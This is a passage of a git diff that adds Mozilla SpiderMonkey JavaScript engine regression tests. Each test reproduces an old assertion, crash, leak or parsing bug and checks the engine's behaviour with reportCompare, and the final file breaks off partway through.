+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ }
+ return "Everything's fine."
+ // Comment out the switch statement and the bug disappears.
+ switch (a) {
+ case 1: ;
+ case 2: return;
+ }
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-398609.js b/js/src/tests/js1_5/Regress/regress-398609.js
new file mode 100644
index 000000000..af12433a0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-398609.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398609;
+var summary = 'Test regression from bug 398609';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(m) {
+ m = m || Math;
+ return x();
+
+ function x() {
+ return m.sin(0);
+ }
+ };
+
+ var r = f();
+ if (r !== Math.sin(0))
+ throw "Unexpected result";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-404755.js b/js/src/tests/js1_5/Regress/regress-404755.js
new file mode 100644
index 000000000..9a6c158d4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-404755.js
@@ -0,0 +1,50 @@
+// |reftest| skip -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404755;
+var summary = 'Do not consume heap when deleting property';
+var actual = 'No leak';
+var expect = 'No leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var n = 1 << 22;
+ var o = {};
+ do {
+ o[0] = 0;
+ delete o[0];
+ } while (--n != 0);
+
+ gc();
+ var time = Date.now();
+ gc();
+ time = Date.now() - time;
+
+ o = {};
+ o[0] = 0;
+ delete o[0];
+ gc();
+ var time2 = Date.now();
+ gc();
+ time2 = Date.now() - time2;
+ print(time+" "+time2);
+ if (time > 2 && time > time2 * 5)
+ throw "A possible leak is observed";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-406769.js b/js/src/tests/js1_5/Regress/regress-406769.js
new file mode 100644
index 000000000..b6bd73989
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-406769.js
@@ -0,0 +1,155 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406769;
+var summary = 'Regression from bug 398609 caused infinite loop';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+var a0;
+var a1;
+var a2;
+var a3;
+var a4;
+var a5;
+var a6;
+var a7;
+var a8;
+var a9;
+var a10;
+var a11;
+var a12;
+var a13;
+var a14;
+var a15;
+var a16;
+var a17;
+var a18;
+var a19;
+var a20;
+var a21;
+var a22;
+var a23;
+var a24;
+var a25;
+var a26;
+var a27;
+var a28;
+var a29;
+var a30;
+var a31;
+var a32;
+var a33;
+var a34;
+var a35;
+var a36;
+var a37;
+var a38;
+var a39;
+var a40;
+var a41;
+var a42;
+var a43;
+var a44;
+var a45;
+var a46;
+var a47;
+var a48;
+var a49;
+var a50;
+var a51;
+var a52;
+var a53;
+var a54;
+var a55;
+var a56;
+var a57;
+var a58;
+var a59;
+var a60;
+var a61;
+var a62;
+var a63;
+var a64;
+var a65;
+var a66;
+var a67;
+var a68;
+var a69;
+var a70;
+var a71;
+var a72;
+var a73;
+var a74;
+var a75;
+var a76;
+var a77;
+var a78;
+var a79;
+var a80;
+var a81;
+var a82;
+var a83;
+var a84;
+var a85;
+var a86;
+var a87;
+var a88;
+var a89;
+var a90;
+var a91;
+var a92;
+var a93;
+var a94;
+var a95;
+var a96;
+var a97;
+var a98;
+var a99;
+var a100;
+var a101;
+var a102;
+var a103;
+var a104;
+var a105;
+var a106;
+var a107;
+var a108;
+var a109;
+var a110;
+var a111;
+var a112;
+var a113;
+var a114;
+var a115;
+var a116;
+var a117;
+var a118;
+var a119;
+var a120;
+var a121;
+var a122;
+var a123;
+var a124;
+var a125;
+for (var a126 = 1; a126 < ([1,2,3]).length -1; ++a126)
+ 1;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-407024.js b/js/src/tests/js1_5/Regress/regress-407024.js
new file mode 100644
index 000000000..7bc4a7c09
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-407024.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407024;
+var summary = 'Do not assert pn3->pn_val.isNumber() || pn3->pn_val.isString() || pn3->pn_val.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval("function f(x) { switch (x) { case Array: return 1; }}");
+var result = f(Array);
+if (result !== 1)
+ throw "Unexpected result: "+uneval(result);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-407957.js b/js/src/tests/js1_5/Regress/regress-407957.js
new file mode 100644
index 000000000..ffd05bd42
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-407957.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407957;
+var summary = 'Iterator is mutable.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {};
+ var saveIterator = Iterator;
+
+ Iterator = obj;
+ reportCompare(obj, Iterator, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-410852.js b/js/src/tests/js1_5/Regress/regress-410852.js
new file mode 100644
index 000000000..04109b468
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-410852.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410852;
+var summary = 'Valgrind errors in jsemit.cpp';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: You must run this test under valgrind to determine if it passes');
+
+ try
+ {
+ eval('function(){if(t)');
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof SyntaxError, true, "wrong error: " + ex);
+ }
+
+ reportCompare(true, true, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-416737-01.js b/js/src/tests/js1_5/Regress/regress-416737-01.js
new file mode 100644
index 000000000..7321d830e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-416737-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { (function([]){ function n(){} })(1) });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-416737-02.js b/js/src/tests/js1_5/Regress/regress-416737-02.js
new file mode 100644
index 000000000..1d4c43c54
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-416737-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function([]){ function n(){} };
+ if (typeof dis == 'function')
+ {
+ dis(f);
+ }
+ print(f);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-417893.js b/js/src/tests/js1_5/Regress/regress-417893.js
new file mode 100644
index 000000000..4a7ce6e1b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-417893.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 417893;
+var summary = 'Fast natives must use JS_THIS/JS_THIS_OBJECT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var s = function(){}.prototype.toSource; s(); })();
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for Object.prototype.toSource");
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-418540.js b/js/src/tests/js1_5/Regress/regress-418540.js
new file mode 100644
index 000000000..f03f98b27
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-418540.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418540;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ expect = actual = 'Browser test only - skipped';
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ gDelayTestDriverEnd = true;
+ window.onload = boom;
+ }
+
+ exitFunc ('test');
+}
+
+function boom()
+{
+ var p;
+ var b = document.createElement("body");
+ var v = document.createElement("div");
+ b.getAttribute("id")
+ v.getAttribute("id")
+ for (p in v) { }
+ for (p in b) { }
+ b.__proto__ = [];
+ try { aC(v, null); } catch(e) { }
+ try { aC(b, null); } catch(e) { }
+
+ setTimeout(check, 1000);
+}
+
+function aC(r, n) { r.appendChild(n); }
+
+function check()
+{
+ expect = actual = 'No Crash';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/js1_5/Regress/regress-419018.js b/js/src/tests/js1_5/Regress/regress-419018.js
new file mode 100644
index 000000000..35a4fb832
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-419018.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419018;
+var summary = 'UMR in JSENUMERATE_INIT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test must be run under valgrind to check if an UMR occurs in slowarray_enumerate');
+
+ try
+ {
+ function parse() {
+ var a = []; // need array init
+ a["b"] = 1; // need to set obj property
+ return a;
+ }
+ // var c; // can't declare c
+ // var d = {}; // can't add this (weird!)
+ // var d = ""; // nor this
+ var x = parse(""); // won't crash without string arg (weird!)
+ // var d = ""; // nor here
+ for (var o in x)
+ c[o]; // need to look up o in undefined object
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-419803.js b/js/src/tests/js1_5/Regress/regress-419803.js
new file mode 100644
index 000000000..765298c72
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-419803.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419803;
+var summary = 'Do not assert: sprop->parent == scope->lastProp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<2; ++i) ({ p: 5, p: 7 });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-420919.js b/js/src/tests/js1_5/Regress/regress-420919.js
new file mode 100644
index 000000000..f58b8d99f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-420919.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420919;
+var summary = 'this.u.v = 1 should report this.u is undefined';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // 1.8 branch reports no properties, trunk reports undefined
+ expect = /TypeError: this.u is undefined|TypeError: this.u has no properties/;
+
+ try
+ {
+ this.u.v = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-422348.js b/js/src/tests/js1_5/Regress/regress-422348.js
new file mode 100644
index 000000000..7ae83f4a6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-422348.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x/)) -- On 64-bit, takes forever rather than throwing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422348;
+var summary = 'Proper overflow error reporting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: allocation size overflow';
+ try
+ {
+ Array(1 << 30).sort();
+ actual = 'No Error';
+ }
+ catch (ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-424311.js b/js/src/tests/js1_5/Regress/regress-424311.js
new file mode 100644
index 000000000..e2d0adeac
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-424311.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424311;
+var summary = 'Do not assert: entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->regs->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function(){(function(){ constructor=({}); })()})();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-425360.js b/js/src/tests/js1_5/Regress/regress-425360.js
new file mode 100644
index 000000000..8d72808ab
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-425360.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 425360;
+var summary = 'Do not assert: !cx->throwing';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function finishtest()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+function throwBlah()
+{
+ throw 'blah';
+}
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof window == 'undefined')
+{
+ expect = actual = 'Not tested. Requires browser.';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ gDelayTestDriverEnd = true;
+ window.onerror = null;
+ setTimeout('finishtest()', 1000);
+ window.onload = (function () { setInterval('throwBlah()', 0); });
+ setInterval('foo(', 0);
+}
+
+
diff --git a/js/src/tests/js1_5/Regress/regress-426827.js b/js/src/tests/js1_5/Regress/regress-426827.js
new file mode 100644
index 000000000..69115b9e7
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-426827.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426827;
+var summary = 'Do not assert: !(CodeSpec[op2].format & JOF_DEL)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('eval()=delete a;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-428366.js b/js/src/tests/js1_5/Regress/regress-428366.js
new file mode 100644
index 000000000..13a6699fd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-428366.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 428366;
+var summary = 'Do not assert deleting eval 16 times';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i) delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-438415-01.js b/js/src/tests/js1_5/Regress/regress-438415-01.js
new file mode 100644
index 000000000..5aa6b6bf0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-438415-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [1,,].pop();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-438415-02.js b/js/src/tests/js1_5/Regress/regress-438415-02.js
new file mode 100644
index 000000000..24febbc78
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-438415-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'zero';
+ Array.prototype[0] = 'zero';
+ var a = [];
+ a.length = 1;
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-440926.js b/js/src/tests/js1_5/Regress/regress-440926.js
new file mode 100644
index 000000000..463981123
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-440926.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440926;
+var summary = 'Correctly match regexps with special "i" characters';
+var actual = '';
+var expect = 'iI#,iI#;iI#,iI#';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual += 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ actual += ';' + 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-449627.js b/js/src/tests/js1_5/Regress/regress-449627.js
new file mode 100644
index 000000000..f50fd29e2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-449627.js
@@ -0,0 +1,114 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449627;
+var summary = 'Crash with JIT in js_FillPropertyCache';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+/************************ BROWSER DETECT (http://www.quirksmode.org/js/detect.html) ************************/
+
+if (typeof navigator == 'undefined')
+{
+ navigator = {
+ userAgent: "Firefox",
+ vendor: "Mozilla",
+ platform: "Mac"
+ };
+}
+
+global = this;
+
+var BrowserDetect = {
+ init: function _init()
+ {
+ this.browser=this.searchString(this.dataBrowser) || "An unknown browser";
+
+ this.OS= this.searchString(this.dataOS)||"an unknown OS";
+ },
+ searchString: function _searchString(a)
+ {
+ for(var i=0; i < a.length; i++)
+ {
+ var b=a[i].string;
+ var c=a[i].prop;
+ this.versionSearchString=a[i].versionSearch||a[i].identity;
+ if(b)
+ {
+ if(b.indexOf(a[i].subString)!=-1)
+ return a[i].identity;
+ }
+ else if(c)
+ return a[i].identity;
+ }
+ },
+
+ searchVersion:function _searchVersion(a)
+ {
+ var b=a.indexOf(this.versionSearchString);
+ if(b==-1)
+ return;
+ return parseFloat(a.substring(b+this.versionSearchString.length+1));
+ },
+
+ dataBrowser:[
+ {
+ string:navigator.userAgent,subString:"OmniWeb",versionSearch:"OmniWeb/",identity:"OmniWeb"
+ },
+ {
+ string:navigator.vendor,subString:"Apple",identity:"Safari"
+ },
+ {
+ prop:global.opera,identity:"Opera"
+ },
+ {
+ string:navigator.vendor,subString:"iCab",identity:"iCab"
+ },
+ {
+ string:navigator.vendor,subString:"KDE",identity:"Konqueror"
+ },
+ {
+ string:navigator.userAgent,subString:"Firefox",identity:"Firefox"
+ },
+ {
+ string:navigator.vendor,subString:"Camino",identity:"Camino"
+ },
+ {
+ string:navigator.userAgent,subString:"Netscape",identity:"Netscape"
+ },
+ {
+ string:navigator.userAgent,subString:"MSIE",identity:"Explorer",versionSearch:"MSIE"
+ },
+ {
+ string:navigator.userAgent,subString:"Gecko",identity:"Mozilla",versionSearch:"rv"
+ },
+ {
+ string:navigator.userAgent,subString:"Mozilla",identity:"Netscape",versionSearch:"Mozilla"
+ }
+ ],
+ dataOS:[
+ {
+ string:navigator.platform,subString:"Win",identity:"Windows"
+ },
+ {
+ string:navigator.platform,subString:"Mac",identity:"Mac"
+ },
+ {
